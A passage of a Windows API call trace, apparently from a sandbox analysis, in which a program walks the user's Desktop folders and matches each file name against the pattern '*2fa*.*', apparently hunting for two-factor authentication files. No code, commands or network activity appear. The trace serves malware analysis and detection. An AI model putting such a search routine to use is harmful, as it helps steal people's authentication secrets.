lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", cchWideChar=44, lpMultiByteStr=0x33400d0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\dw5n s d.swf", lpUsedDefaultChar=0x0) returned 44 [0146.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ac18, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.743] PathMatchSpecW (pszFile="dw5n s d.swf", pszSpec="*2fa*.*") returned 0 [0146.743] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89c8bd0, ftCreationTime.dwHighDateTime=0x1d7a3c4, ftLastAccessTime.dwLowDateTime=0x109c61e0, ftLastAccessTime.dwHighDateTime=0x1d7a669, ftLastWriteTime.dwLowDateTime=0x109c61e0, ftLastWriteTime.dwHighDateTime=0x1d7a669, nFileSizeHigh=0x0, nFileSizeLow=0xa4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ett5QjnXB4TVvQ5gQv.xls", cAlternateFileName="ETT5QJ~1.XLS")) returned 1 [0146.743] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.743] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.743] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Ett5QjnXB4TVvQ5gQv.xls" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls" [0146.743] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.743] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.743] lstrcatW (in: lpString1="\\", lpString2="Ett5QjnXB4TVvQ5gQv.xls" | out: lpString1="\\Ett5QjnXB4TVvQ5gQv.xls") returned="\\Ett5QjnXB4TVvQ5gQv.xls" [0146.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0146.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", cchWideChar=54, lpMultiByteStr=0x32bae20, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ett5QjnXB4TVvQ5gQv.xls", lpUsedDefaultChar=0x0) returned 54 [0146.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ac18, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.743] PathMatchSpecW (pszFile="Ett5QjnXB4TVvQ5gQv.xls", pszSpec="*2fa*.*") returned 0 [0146.743] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7598620, ftCreationTime.dwHighDateTime=0x1d7aade, ftLastAccessTime.dwLowDateTime=0xbaa38dc0, ftLastAccessTime.dwHighDateTime=0x1d7acc3, ftLastWriteTime.dwLowDateTime=0xbaa38dc0, ftLastWriteTime.dwHighDateTime=0x1d7acc3, nFileSizeHigh=0x0, nFileSizeLow=0xa96b, dwReserved0=0x0, dwReserved1=0x0, cFileName="F3Jg6iOM3u.avi", cAlternateFileName="F3JG6I~1.AVI")) returned 1 [0146.743] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.743] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.743] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="F3Jg6iOM3u.avi" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi" [0146.744] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.744] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.744] lstrcatW (in: lpString1="\\", lpString2="F3Jg6iOM3u.avi" | out: lpString1="\\F3Jg6iOM3u.avi") returned="\\F3Jg6iOM3u.avi" [0146.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0146.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", cchWideChar=46, lpMultiByteStr=0x33400d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\F3Jg6iOM3u.avi", lpUsedDefaultChar=0x0) returned 46 [0146.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ab70, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.744] PathMatchSpecW (pszFile="F3Jg6iOM3u.avi", pszSpec="*2fa*.*") returned 0 [0146.744] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e3e340, ftCreationTime.dwHighDateTime=0x1d7a455, ftLastAccessTime.dwLowDateTime=0xbaf238a0, ftLastAccessTime.dwHighDateTime=0x1d7afa5, ftLastWriteTime.dwLowDateTime=0xbaf238a0, ftLastWriteTime.dwHighDateTime=0x1d7afa5, nFileSizeHigh=0x0, nFileSizeLow=0xc22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPDreaGbTfCfnUb6R.odt", cAlternateFileName="FPDREA~1.ODT")) returned 1 [0146.744] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.744] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.744] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="FPDreaGbTfCfnUb6R.odt" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt" [0146.744] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.744] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.744] lstrcatW (in: lpString1="\\", lpString2="FPDreaGbTfCfnUb6R.odt" | out: lpString1="\\FPDreaGbTfCfnUb6R.odt") returned="\\FPDreaGbTfCfnUb6R.odt" [0146.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0146.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", cchWideChar=53, lpMultiByteStr=0x32bab20, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\FPDreaGbTfCfnUb6R.odt", lpUsedDefaultChar=0x0) returned 53 [0146.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ab28, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.745] PathMatchSpecW (pszFile="FPDreaGbTfCfnUb6R.odt", pszSpec="*2fa*.*") returned 0 [0146.745] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b0e5e90, ftCreationTime.dwHighDateTime=0x1d7a824, ftLastAccessTime.dwLowDateTime=0xdedaeb90, ftLastAccessTime.dwHighDateTime=0x1d7aee2, ftLastWriteTime.dwLowDateTime=0xdedaeb90, ftLastWriteTime.dwHighDateTime=0x1d7aee2, nFileSizeHigh=0x0, nFileSizeLow=0x7e9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="gKYuSUka3xSoq c.swf", cAlternateFileName="GKYUSU~1.SWF")) returned 1 [0146.745] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.745] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.745] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="gKYuSUka3xSoq c.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf" [0146.745] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.745] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.745] lstrcatW (in: lpString1="\\", lpString2="gKYuSUka3xSoq c.swf" | out: lpString1="\\gKYuSUka3xSoq c.swf") returned="\\gKYuSUka3xSoq c.swf" [0146.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0146.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", cchWideChar=51, lpMultiByteStr=0x32baee0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\gKYuSUka3xSoq c.swf", lpUsedDefaultChar=0x0) returned 51 [0146.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.745] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ac48, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.746] PathMatchSpecW (pszFile="gKYuSUka3xSoq c.swf", pszSpec="*2fa*.*") returned 0 [0146.746] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2508dd60, ftCreationTime.dwHighDateTime=0x1d7addb, ftLastAccessTime.dwLowDateTime=0x90e93950, ftLastAccessTime.dwHighDateTime=0x1d7adf7, ftLastWriteTime.dwLowDateTime=0x90e93950, ftLastWriteTime.dwHighDateTime=0x1d7adf7, nFileSizeHigh=0x0, nFileSizeLow=0xe1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="h5qh6eqm.pdf", cAlternateFileName="")) returned 1 [0146.746] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.746] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.746] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="h5qh6eqm.pdf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf" [0146.746] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.746] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.746] lstrcatW (in: lpString1="\\", lpString2="h5qh6eqm.pdf" | out: lpString1="\\h5qh6eqm.pdf") returned="\\h5qh6eqm.pdf" [0146.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0146.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", cchWideChar=44, lpMultiByteStr=0x33400d0, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\h5qh6eqm.pdf", lpUsedDefaultChar=0x0) returned 44 [0146.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.746] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x236ac00, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.746] PathMatchSpecW (pszFile="h5qh6eqm.pdf", pszSpec="*2fa*.*") returned 0 [0146.746] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc36ad160, ftCreationTime.dwHighDateTime=0x1d7ae3b, ftLastAccessTime.dwLowDateTime=0x92e3c080, ftLastAccessTime.dwHighDateTime=0x1d7b00a, ftLastWriteTime.dwLowDateTime=0x92e3c080, ftLastWriteTime.dwHighDateTime=0x1d7b00a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hf4qcXfqlQUQtaJUeRB3", cAlternateFileName="HF4QCX~1")) returned 1 [0146.746] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.746] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.746] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.747] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.747] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.747] lstrcatW (in: lpString1="\\", lpString2="Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.747] lstrcmpW (lpString1="Hf4qcXfqlQUQtaJUeRB3", lpString2=".") returned 1 [0146.747] lstrcmpW (lpString1="Hf4qcXfqlQUQtaJUeRB3", lpString2="..") returned 1 [0146.747] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.747] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\*.*" [0146.747] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc36ad160, ftCreationTime.dwHighDateTime=0x1d7ae3b, ftLastAccessTime.dwLowDateTime=0x92e3c080, ftLastAccessTime.dwHighDateTime=0x1d7b00a, ftLastWriteTime.dwLowDateTime=0x92e3c080, ftLastWriteTime.dwHighDateTime=0x1d7b00a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8825b0 [0146.747] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.747] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.747] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\." [0146.747] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.747] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.747] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="." | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\.") returned="\\Hf4qcXfqlQUQtaJUeRB3\\." [0146.747] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.748] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc36ad160, ftCreationTime.dwHighDateTime=0x1d7ae3b, ftLastAccessTime.dwLowDateTime=0x92e3c080, ftLastAccessTime.dwHighDateTime=0x1d7b00a, ftLastWriteTime.dwLowDateTime=0x92e3c080, ftLastWriteTime.dwHighDateTime=0x1d7b00a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.748] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.748] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.748] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\.." [0146.748] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.748] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.748] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2=".." | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\..") returned="\\Hf4qcXfqlQUQtaJUeRB3\\.." [0146.748] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.748] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.748] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddda2880, ftCreationTime.dwHighDateTime=0x1d7ace1, ftLastAccessTime.dwLowDateTime=0x68d42070, ftLastAccessTime.dwHighDateTime=0x1d7ad6a, ftLastWriteTime.dwLowDateTime=0x68d42070, ftLastWriteTime.dwHighDateTime=0x1d7ad6a, nFileSizeHigh=0x0, nFileSizeLow=0x1db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4W5ZA5pn.mkv", cAlternateFileName="")) returned 1 [0146.748] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3" [0146.748] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.748] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="4W5ZA5pn.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv" [0146.748] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\Hf4qcXfqlQUQtaJUeRB3" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3") returned="\\Hf4qcXfqlQUQtaJUeRB3" [0146.748] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3", lpString2="\\" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\") returned="\\Hf4qcXfqlQUQtaJUeRB3\\" [0146.748] lstrcatW (in: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\", lpString2="4W5ZA5pn.mkv" | out: lpString1="\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv") returned="\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv" [0146.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0146.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", cchWideChar=65, lpMultiByteStr=0x32bb428, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Hf4qcXfqlQUQtaJUeRB3\\4W5ZA5pn.mkv", lpUsedDefaultChar=0x0) returned 65 [0146.749] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.749] 